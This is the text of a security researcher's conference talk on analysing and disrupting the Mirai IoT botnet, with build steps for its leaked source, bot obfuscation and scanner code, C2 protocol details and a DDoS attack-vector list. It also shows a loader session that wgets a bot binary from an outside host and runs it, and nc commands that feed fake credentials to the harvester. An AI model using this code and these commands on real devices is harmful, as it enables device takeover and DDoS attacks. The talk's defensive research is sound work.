Identifying and Disrupting Mirai Botnets

Chuck McAuley
Who me?

Chuck McAuley

Principal Threat Researcher at Ixia’s Application Threat Intelligence team

• Talks to all the people
• Goes to all the places
• Does all the things
• @nobletrout

I’ve been called ‘Chief Pie Finger Poker’
Mirai - A brief background

- Last year krebsonsecurity.com got taken down by ‘stressers’
- 600 Gigabit DDoS

Figure 2-6: All attacks mitigated for krebsonsecurity.com while on the routed platform
Increased scanning on port 23/2323

- Scanning intensified the day of the attack on Krebs
- Later discovered to be related to Mirai based scans [1]

[1] https://isc.sans.edu/forums/diary/What+is+happening+on+2323TCP/21563/
A week or two later and the plot thickens

Greetings everybody,

When I first went into the DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. However, I know every skid and their mama, it's their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.
• Unique chance to see how this stuff works from the inside out
• Treasure trove of data released to play with
• Some helpful soul already had taken source code and uploaded to github (thanks jgamblin whoever you are!)
• But the source code was incomplete, did not have a build script that worked, was machine dependent, and generally was ‘readable’ but not ‘buildable.’
• I wanted my own botnet
Does anyone know if Mirai changes the default passwords on the IoT devices to ‘protect’ them? If so, to what? Does it reuse passwords?
Vagrant is a VM based tool that allows separation of development (editors, operating system, etc) and build and operational environment.

- “Like docker, but heavier”
- It provided many advantages for building and analysis
  - Platform agnostic – build and run on trusty64 in VM, develop on mac
  - Can easily destroy and recreate if need be without a new git fetch
  - Easily isolate on independent network segment
  - Separate analysis from execution
  - This is how real developers do it

https://github.com/chuckixia/Mirai-Source-Code
Build Environment Setup

```bash
config.vm.provision "shell", inline: <<-SHELL
    debconf-set-selections <<< 'mysql-server mysql-server/root_password password password'
    debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password password'
    apt-get update
    apt-get upgrade -y
    apt-get install -y mysql-server mysql-client golang gcc electric-fence git
    chmod +x /vagrant/Setting_Up_Cross_Compilers.sh
/vagrant/Setting_Up_Cross_Compilers.sh
SHELL
```

```
tar -jxf cross-compiler-armv51.tar.bz2
rm *.tar.bz2
mv cross-compiler-armv41 armv41
mv cross-compiler-armv51 armv51
mv cross-compiler-i586 i586
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
mv cross-compiler-sparc sparc
```

14:14:17 [check-ixia-392288-1]
$ vagrant up
```
Point, Click, Botnet Operator!!!
### Highlevel - Four pieces in motion

<table>
<thead>
<tr>
<th>Bot</th>
<th>Website hosting bot malware</th>
</tr>
</thead>
<tbody>
<tr>
<td>Infected device</td>
<td>Independent Web Server</td>
</tr>
<tr>
<td>Multi-architecture POSIX C</td>
<td>Hosts Mirai bot binaries</td>
</tr>
<tr>
<td>MIPS, ARM, x86, SPARC, PPC</td>
<td>Probably compromised server</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Loader</th>
<th>C2 Server</th>
</tr>
</thead>
<tbody>
<tr>
<td>Harvests successful logins/IP pairs</td>
<td>Serves as head end for bots</td>
</tr>
<tr>
<td>Connects back to new devices</td>
<td>Operator panel</td>
</tr>
<tr>
<td>Fingerprints and loads binaries</td>
<td>Works over telnet</td>
</tr>
<tr>
<td>Very minimal code</td>
<td>Written in Go</td>
</tr>
</tbody>
</table>
Infected IoT Stuff

Telnet Brute Force

“My Stuff”

Log In, Fingerprint, Load Binary

Report Results

Fetch Binary

Join The Borg (port 23)

Loader

Binary Hosting Web

C2 Server
Let’s focus on the bot code first
Bot Execution Path

- Deletes itself off disk
- Sets signal trap to change code execution
- Rewrites function pointers
- Forks, changes process name
- Connects to CNC server and waits for connections
- Starts scanning for new hosts to infect and reports back
Bespoke name resolver

- Hardcoded requests to 8.8.8.8
- Sends 5 requests before timeout
- If DNS fails, will not connect to CNC and Harvester
Bot – Table Obfuscation

• Bot has an obfuscated table that is XOR’d
• Table entries need to be ‘encrypted’ with XOR encryption tools
• XOR key looks like it’s 4 bytes long (0xdeadbeef)

Now, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bot

Code:
```bash
./debug/enc string fuck.the.police.com
```

The output should look like this

Code:
```c
void table_init(void)
{
    add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x8C\x41\x4A\x43\x45\x47\x8C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
    add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x99\xC7", 2); // 46
}
```

XOR'ing 20 bytes of data...

```
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F
```

To update the TABLE_CNC_DOMAIN value for example, replace that long hex string

```
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x8C\x41\x4A\x43\x45\x47\x8C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
```
Bot – Table Encryption Bug

• The XOR key is actually only one byte
• 0xDEADBEEF = 0x22
• 1 Byte XOR key table a lot easier to
• brute force

```c
uint32_t table_key = 0xdeadbeef;
static void toggle_obf(uint8_t id)
{
    int i;
    struct table_value *val = &table[id];
    uint8_t k1 = table_key & 0xff,
        k2 = (table_key >> 8) & 0xff,
        k3 = (table_key >> 16) & 0xff,
        k4 = (table_key >> 24) & 0xff;

    for (i = 0; i < val->val_len; i++)
    {
        val->val[i] ^= k1;
        val->val[i] ^= k2;
        val->val[i] ^= k3;
        val->val[i] ^= k4;
    }
}
```
for (i = 0; i < val->val_len; i++)
{
    val->val[i] ^= 0x22;
}
Execution Obfuscation

- Mirai has execution obfuscation
- Anna-Senpai made a shout out to malwaremustdie
- He thought it was pretty cool
- Let's see if he was right!

Let me give you some slaps back -
1) port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together
2) /dev/watchdog and /dev/misc are not for "making the delay", it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb
3) You failed and thought FAKE_CNC_ADDR and FAKE_CNC_PORT was real CNC, lol "And doing the backdoor to connect via HTTP on 65.222.202.53". you got tripped up by signal flow ;) try harder skiddo
4) Your skeleton tool sucks ass, it thought the attack decoder was "sinden style", but it does not even use a text-based protocol? CNC and bot communicate over binary protocol
5) you say 'chroot("/") so predictable like torlus' but you don't understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland
Sets a signal

Raises Signal if TRUE

Compares Filename to Buffer

maps function to new function

Code execution prevent part 1

```c
void (*resolve_func)(void) = (void (*)(void))util_local_addr;

int main()
{
    signal(SIGTRAP, &anti_gdb_entry);
    if (unlock_tbl_if_nodebug(argv0))
        raise(SIGTRAP);
}

static BOOL unlock_tbl_if_nodebug(char *argv0)
{
    matches = util_strcmp(argv0, buf_dst);
    return matches;
}

static void anti_gdb_entry(int sig)
{
    resolve_func = resolve_cnc_addr;
}
```
if (unlock_tbl_if_nodebug(argv0) 
raise(SIGTRAP);

static BOOL unlock_tbl_if_nodebug(char *argv0) 
{
char buf_src[18] = {0x2f, 0x2e, 0x64, 0x76, 0x72, 0x48, 0x65, 0x61, 0x74
int i, ii = 0, c = 0;
uint8_t fold = 0xAF;
void (*obf_funcs[]) (void) = {
(void (*)(void)) ensure_single_instance,
(void (*)(void)) table_unlock_val,
(void (*)(void)) table_retrieve_val,
(void (*)(void)) table_init, // This is the function
(void (*)(void)) table_lock_val,
(void (*)(void)) util_memcpy,
(void (*)(void)) util_strcmp,
(void (*)(void)) killer_init,
(void (*)(void)) anti_gdb_entry
};

// We swap every 2 bytes: e.g. 1, 2, 3, 4 -> 2, 1, 4, 3
for (i = 0; i < sizeof(buf_src); i += 3)
{
    char tmp = buf_src[i];
    buf_dst[ii++] = buf_src[i + 1];
    buf_dst[ii++] = tmp;
    // Meaningless tautology that gets you right back where you started
    i *= 2;
    i += 14;
    i /= 2;
    i -= 7;
    // Mess with 0xAF
    fold += ~argv0[ii % strlen(argv0)];
}
fold %= (sizeof(obf_funcs) / sizeof(void *));

#define DEBUG
(obf_funcs[fold]());
matches = util_strcmp(argv0, buf_dst);
util_zero(buf_src, sizeof(buf_src));
util_zero(buf_dst, sizeof(buf_dst));
return matches;
int main(int argc, char *argv[])
{
    char *filename = argv[0];
    uint8_t fold = 0xAF;
    int ii = 0;
    for (int i = 0; i < 6; i += 1)
    {
        ii += 2;
        fold += filename[ii % strlen(filename)];
        printf("Current Val Is: %hhu\r\n", fold);
    }
    fold %= 9;
    printf("\r\nFinal Value is: %hhu\r\n", fold);
Bot Scanning Technique

- Bot comes with a telnet brute forcer
- Used to discover other devices that might be vulnerable
- Utilizes a two stage approach
  - Raw socket TCP port scanner
  - Brute forcers hosts that respond to raw socket port scanner
- Very effective scanner, can send thousands of packets a second
Sets TCP Sequence number = destination IP address
Then checks later on if ACK is equal to destination IP + 1
Bot Scanner Second Stage

• Brute forces any listening telnet servers discovered by first stage
• After login, fingerprints system as a busybox system
• If successful reports back IP, Port, and User/Pass combo that worked to loader
  (more on that shortly)

```c
47   add_entry(TABLE_SCAN_QUERY, \x2f\x62\x69\x6e\x2f\x)
48   add_entry(TABLE_SCAN_RESP, \x4d\x49\x52\x41\x49\x3a\x)
```

```bash
admin@server:~$ enable
bash: enable: command not found
admin@server:~$ system
bash: system: command not found
admin@server:~$ shell
bash: shell: command not found
admin@server:~$ sh
bash: sh: command not found
admin@server:~$ /bin/busybox
MIRAI: applet not found
```
• harvester location is defined in lookup table as TABLE_SCAN_CB_DOMAIN

• Message signal is packed like this:

```c
uint8_t zero = 0;
send(fd, &zero, sizeof(uint8_t), MSG_NOSIGNAL);
send(fd, &daddr, sizeof(ipv4_t), MSG_NOSIGNAL);
send(fd, &dport, sizeof(uint16_t), MSG_NOSIGNAL);
send(fd, &(auth->username_len), sizeof(uint8_t), MSG_NOSIGNAL);
send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);
send(fd, &(auth->password_len), sizeof(uint8_t), MSG_NOSIGNAL);
send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);
```
## Scanner Report

<table>
<thead>
<tr>
<th></th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>IP Address</td>
<td>Port</td>
</tr>
<tr>
<td></td>
<td>size of user</td>
</tr>
<tr>
<td>user name (variable length)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>size of pass</td>
</tr>
</tbody>
</table>

---
### Loader

This branch is 43 commits ahead, 6 commits behind jgamblin:master.

<table>
<thead>
<tr>
<th>File</th>
<th>Type</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>..</td>
<td>Code Upload</td>
<td>7 months ago</td>
</tr>
<tr>
<td>headers</td>
<td>Code Upload</td>
<td>7 months ago</td>
</tr>
<tr>
<td>binary.c</td>
<td>Code Upload</td>
<td>7 months ago</td>
</tr>
<tr>
<td>connection.c</td>
<td>Code Upload</td>
<td>7 months ago</td>
</tr>
<tr>
<td>main.c</td>
<td>Code Upload</td>
<td>7 months ago</td>
</tr>
<tr>
<td>server.c</td>
<td>Code Upload</td>
<td>7 months ago</td>
</tr>
<tr>
<td>telnet_info.c</td>
<td>Code Upload</td>
<td>7 months ago</td>
</tr>
<tr>
<td>util.c</td>
<td>Code Upload</td>
<td>7 months ago</td>
</tr>
</tbody>
</table>

Latest commit 6a5941b on Oct 2, 2016
Let's look at the harvester/loader

- **Harvester** (called scanListen)
  - tools/ScanListen.go
  - Written in go
  - collector of logins
  - Binds to port 48101
  - Writes login information out to STDOUT
  - format is “aa.bb.cc.dd:PORT USER:PASS”

- **Loader**
  - Written in C
  - Parses STDIN in format that ScanListen sends out
  - Connects to vulnerable devices and starts loading malicious binary
  - Attempts to use wget, curl, tftp, and custom built getter if need be
vagrant@vagrant-ubuntu-trusty-64:~ (ssh)
vagrant@vagrant-ubuntu-trusty-64:~$ echo -e '\x00\x41\x41\x41\x41\x42\x04user\x04pass' | nc localhost 48101
vagrant@vagrant-ubuntu-trusty-64:~$ echo -e '\x00\x41\x41\x41\x41\x42\x04foob\x04arrr' | nc localhost 48101
vagrant@vagrant-ubuntu-trusty-64:~$ echo -e '\x00\x41\x41\x41\x41\x41\x04\x00\x23\x04foob\x04arrr' | nc localhost 48101
vagrant@vagrant-ubuntu-trusty-64:~$ [ ]

vagrant@vagrant-ubuntu-trusty-64:/vagrant/mirai/tools (vagrant)
vagrant@vagrant-ubuntu-trusty-64:/vagrant/mirai/tools$ ./scanListen
65.65.65.65:16962 user:pass
65.65.65.65:16962 foob:arrr
65.65.65.65:291 foob:arrr
- reads from STDIN and connects back to IoT devices
- uses wget, tftp and then built in compiled bin to download a copy
- Does busybox discovery by looking for string “Applet not found”
- Discovers architecture by running cat on /bin/echo
- Attempts to download correct architecture from site hosting it
- changes filename to dvrHelper and executes
Loader in Action

```
root@server:~ # /bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
ECCHI: applet not found
root@server:~ # /bin/busybox wget http://100.200.100.100:80/bins/mirai.x86 -0 -> dvrHelper; /bin/busybox chmod 777 dvrHelper
Connecting to 100.200.100.100:80... connected.
HTTP request sent, awaiting response... User timeout caused connection failure.
ECCHI: applet not found
root@server:~ # ./dvrHelper telnet.x86; /bin/busybox IHCCE
bash: ./dvrHelper: command not found
IHCCE: applet not found
root@server:~ # /bin/busybox ECCHI
ECCHI: applet not found
root@server:~ # ubuntu:/opt/cowrie$
ubuntu:/opt/cowrie$```
C2 (CNC) Server

- Written in Go
- Operates three different interfaces
  - Command
    - API port on 101
    - Interactive Telnet session (port 23)
  - Control
    - Uses Telnet as well
- AAA is stored in MySQL DB
CNC versus Operator

- Listener on port 23
  - If three NULL’s it is a bot
  - otherwise start an admin session
- Bot starts keepalive protocol
- Admin session sends a greeting followed by username/password prompt.
Wait.... New Botnet Protocol?

• What do you do when have a new protocol?
• RFC!

```c
void new_protocol(char *buf, int len)
{
    int i;
    uint32_t duration;
    ATTACK_VECTOR vector;
    uint8_t targs_len, opts_len;
    struct attack_target *targs = NULL;
    struct attack_option *opts = NULL;

    // Read in attack duration uint32_t
    if (len < sizeof(uint32_t))
        goto cleanup;
    duration = ntohl(((uint32_t *)buf)[0]);
    buf += sizeof(uint32_t);
    len -= sizeof(uint32_t);

    // Read in attack ID uint8_t
    if (len == 0)
        goto cleanup;
    vector = (ATTACK_VECTOR)*buf++;
    len -= sizeof(uint8_t);

    // Read in target count uint8_t
    if (len == 0)
        goto cleanup;
    targs_len = (uint8_t)*buf++;
    len -= sizeof(uint8_t);
    if (targs_len == 0)
        goto cleanup;
```
<table>
<thead>
<tr>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
</tr>
<tr>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
</tr>
<tr>
<td>8</td>
<td>9</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>++++++++</td>
<td>++++++++</td>
<td>++++++++</td>
<td>++++++++</td>
</tr>
<tr>
<td>Preamble (all NULLS)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>++++++++</td>
<td>++++++++</td>
<td>++++++++</td>
<td>++++++++</td>
</tr>
<tr>
<td>Name Length</td>
<td>Name (variable length) ...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>++++++++</td>
<td>++++++++</td>
<td>++++++++</td>
<td>++++++++</td>
</tr>
</tbody>
</table>
RFC Botnet heartbeat

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Heartbeat (all NULLS) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
<table>
<thead>
<tr>
<th>Total Length</th>
<th>Duration of DDoS</th>
</tr>
</thead>
<tbody>
<tr>
<td>Duration (cont)</td>
<td>Attack Type</td>
</tr>
<tr>
<td>IP Target 1</td>
<td></td>
</tr>
<tr>
<td>NM 1st Target...</td>
<td>IP Target 2</td>
</tr>
<tr>
<td>Target 2 cont</td>
<td>NM Target 2</td>
</tr>
<tr>
<td>Target 3 Cont</td>
<td>NM Target 3</td>
</tr>
</tbody>
</table>
## Botnet – Attack Options

<table>
<thead>
<tr>
<th>Num of Options</th>
<th>Option 1 Type</th>
<th>Option 1 Len</th>
<th>Option 1 val</th>
<th>Option 1 con't (variable)</th>
<th>Option 2 Type</th>
<th>Option 2 Len</th>
<th>Option 2 value (variable)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
**Now with color!**

<table>
<thead>
<tr>
<th>Frame 1399: 110 bytes on wire (880 bits), 110 bytes captured (880 bits)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ethernet II, Src: PcsCompu_4d:0a:bb (08:00:27:4d:0a:bb), Dst: PcsCompu_65:4b:ce (08:00:27:65:4b:ce)</td>
</tr>
<tr>
<td>Internet Protocol Version 4, Src: 10.16.0.100, Dst: 10.16.0.5</td>
</tr>
</tbody>
</table>

**Telnet**

| Data: 001\357\277\275\357\277\275--- \003\b\023krebsonsecurity.com\a\00280\030\003100 |

<table>
<thead>
<tr>
<th>Targets and attack type</th>
<th>Options Section</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Length</td>
<td>Num Options</td>
</tr>
<tr>
<td>Duration</td>
<td>Type</td>
</tr>
<tr>
<td>Attack Type</td>
<td>0x08 = hostname</td>
</tr>
<tr>
<td>Number of targets</td>
<td>0x07 = port</td>
</tr>
<tr>
<td>Target + NM</td>
<td>0x18 = number of connections</td>
</tr>
<tr>
<td>Option Value Length</td>
<td>Option Value</td>
</tr>
</tbody>
</table>
What are some of the attacks on the menu?

34  #define ATK_VEC_UDP 0 /* Straight up UDP flood */
35  #define ATK_VEC_VSE 1 /* Valve Source Engine query flood */
36  #define ATK_VEC_DNS 2 /* DNS water torture */
37  #define ATK_VEC_SYN 3 /* SYN flood with options */
38  #define ATK_VEC_ACK 4 /* ACK flood */
39  #define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation devices */
40  #define ATK_VEC_GREIP 6 /* GRE IP flood */
41  #define ATK_VEC_GREETH 7 /* GRE Ethernet flood */
42  //#define ATK_VEC_PROXY 8 /* Proxy knockback connection */
43  #define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */
44  #define ATK_VEC_HTTP 10 /* HTTP layer 7 flood */
Let’s start messin’ with Sasquatch

Now we’ve figured out how the network works, let’s start figuring out ways to fight back
• Sequence Number == your IP address
• We can recognize bots easily with no interaction
• Maybe there are other scanners out there that do the same thing
• Created a scapy based MHN collector
• pew pew map!
messin’ with the socket scanner

- Table of IP addresses with open ports doesn’t search for existing entries of same IP
- You can respond with more than one packet
- Insert same IP address multiple times
- We can fill the table, get all the responses

```c
conn = NULL;
for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
{
    if (conn_table[n].state == SC_CLOSED)
    {
        conn = &conn_table[n];
        last_avail_conn = n;
        break;
    }
}
```
You flood me?!? NO I FLOOD YOU!!!
OK, NOW YOU FLOOD ME

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
<th>Destination Pk</th>
</tr>
</thead>
<tbody>
<tr>
<td>1453</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12525 - 23 [SYN Seq=4238261953 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1454</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12528 - 23 [SYN Seq=4233512793 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1455</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12532 - 23 [SYN Seq=4237389575 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1456</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12534 - 23 [SYN Seq=4239845557 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1457</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12527 - 23 [SYN Seq=4228268260 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1458</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12531 - 23 [SYN Seq=4248442364 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1459</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12529 - 23 [SYN Seq=4239929535 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1460</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12519 - 23 [SYN Seq=4227898789 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1461</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12530 - 23 [SYN Seq=4228383524 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1462</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12536 - 23 [SYN Seq=4238196738 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1463</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12537 - 23 [SYN Seq=4233994261 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1464</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12537 - 23 [SYN Seq=4233994261 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1465</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12540 - 23 [SYN Seq=4227523655 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1466</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12539 - 23 [SYN Seq=4241297787 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1467</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12543 - 23 [SYN Seq=4242610978 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1468</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12543 - 23 [SYN Seq=4242610978 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1469</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12541 - 23 [SYN Seq=4243122831 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1470</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12542 - 23 [SYN Seq=4229207766 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1471</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12538 - 23 [SYN Seq=4232308846 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1472</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12544 - 23 [SYN Seq=4232615346 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1473</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12551 - 23 [SYN Seq=4227508574 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1474</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12549 - 23 [SYN Seq=4230925256 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1475</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12545 - 23 [SYN Seq=4235788804 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1476</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12548 - 23 [SYN Seq=4235834899 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1477</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12550 - 23 [SYN Seq=4239882955 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1478</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12535 - 23 [SYN Seq=4228151732 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
<tr>
<td>1479</td>
<td>1576.75</td>
<td>211.141.239.125</td>
<td>198.18.0.20</td>
<td>TCP</td>
<td>74</td>
<td>12552 - 23 [SYN Seq=4241777081 Win=5840 Len=0 MSS=1460 SACK_PERM=1] 23</td>
<td></td>
</tr>
</tbody>
</table>
• Remember how we said the XOR encryption was only one byte?
• Brute force the binary to find CNC and Loader DNS entries

.quick dirty binary analysis to find c2

```
$for I in mirai_sample*/\*86
 > do
 >  ~/github/botnet/analysis/mirai/flipbits.rb $I
 >  done
searching for key
possible xor key is 22
Rerun program with args 22 and pipe to strings
searching for key
possible xor key is 56
Rerun program with args 56 and pipe to strings
searching for key
possible xor key is 22
Rerun program with args 22 and pipe to strings
searching for key
possible xor key is 34
Rerun program with args 34 and pipe to strings
searching for key
possible xor key is 22
Rerun program with args 22 and pipe to strings
```

```bash
0 726f 746f 7061 6c2e 636c S\^c2.protopal.cl
7 5668 6168 612e 7072 6f74 ub.V..Vhaha.prot
3 6c75 6200 56b8 6256 4d65 opal.club.V.bVMe
1 4c6f 4c00 5668 7474 7073 mer911LoL.Vhttps
5 7475 2e62 652f 6451 7734 ://youtu.be/dQw4
3 5100 562f 7072 6f63 2f00 w9WgXcQ.V/proc/.
0 5620 2864 656c 6574 6564 V/exe.V (deleted
```
messin’ with the harvester

- Harvester does not check input
- Can enter all kinds of data
  - incorrect hosts and ports
  - usernames and passwords up to 255 characters long each
  - any kind of binary data for user/pass combos
- Can be useful to check if harvester is still active
- ID new loader IP addresses by feeding harvester at regular intervals
messin’ with the harvester
messin’ with loader

```c
struct telnet_info {
    char user[32], pass[32], arch[6], writedir[32];
    ipv4_t addr;
    port_t port;
    enum {
        UPLOAD_ECHO,
        UPLOAD_WGET,
        UPLOAD_TFTP
    } upload_method;
    BOOL has_auth, has_arch;
};
```
Since we can ID the CNC through the binary we can connect back
• Flood the CNC with fake clients
• Test if CNC is still alive by connecting to API port
  • quicker and more reliable than trying to join botnet

vagrant@vagrant-ubuntu-trusty-64:~$ echo '|||' | nc localhost 101
ERR|API code invalid
Caution
- Bot wants to scan immediately for new hosts
- Need to firewall communication

Solution
- Pinhole communication on DNS
- Repurposed a DNS resolver that drives IP tables
- When resolution occurs, opens hole in firewall to communicate with that IP

Benefit
- Monitor C2 communications even if bot binary changes behavior
- Limit exposure (and liability) to infecting other networks
- Fast Flux or similar
- Use a randomly created SYN cookie rather than IP address
- Why limit yourself to DDoS?
- Create a larger password list
  - update 9/1/17 – ATT Arris hardcoded user/pass
  - [https://www.nomotion.net/blog/sharknatto/](https://www.nomotion.net/blog/sharknatto/)
  - Update 10/26/17 Repear! – using vulns for fun and profit
- Fix your XOR key code
- For the novices:
  - This is automated loading
  - If you leave root access available, it will be rooted almost immediately
Questions?

- @nobletrout
- cmcauley@ixiacom.com
- https://github.com/chuckixia/Mirai-Source-Code/
- FOLLOW THIS GUY: @me_high4eva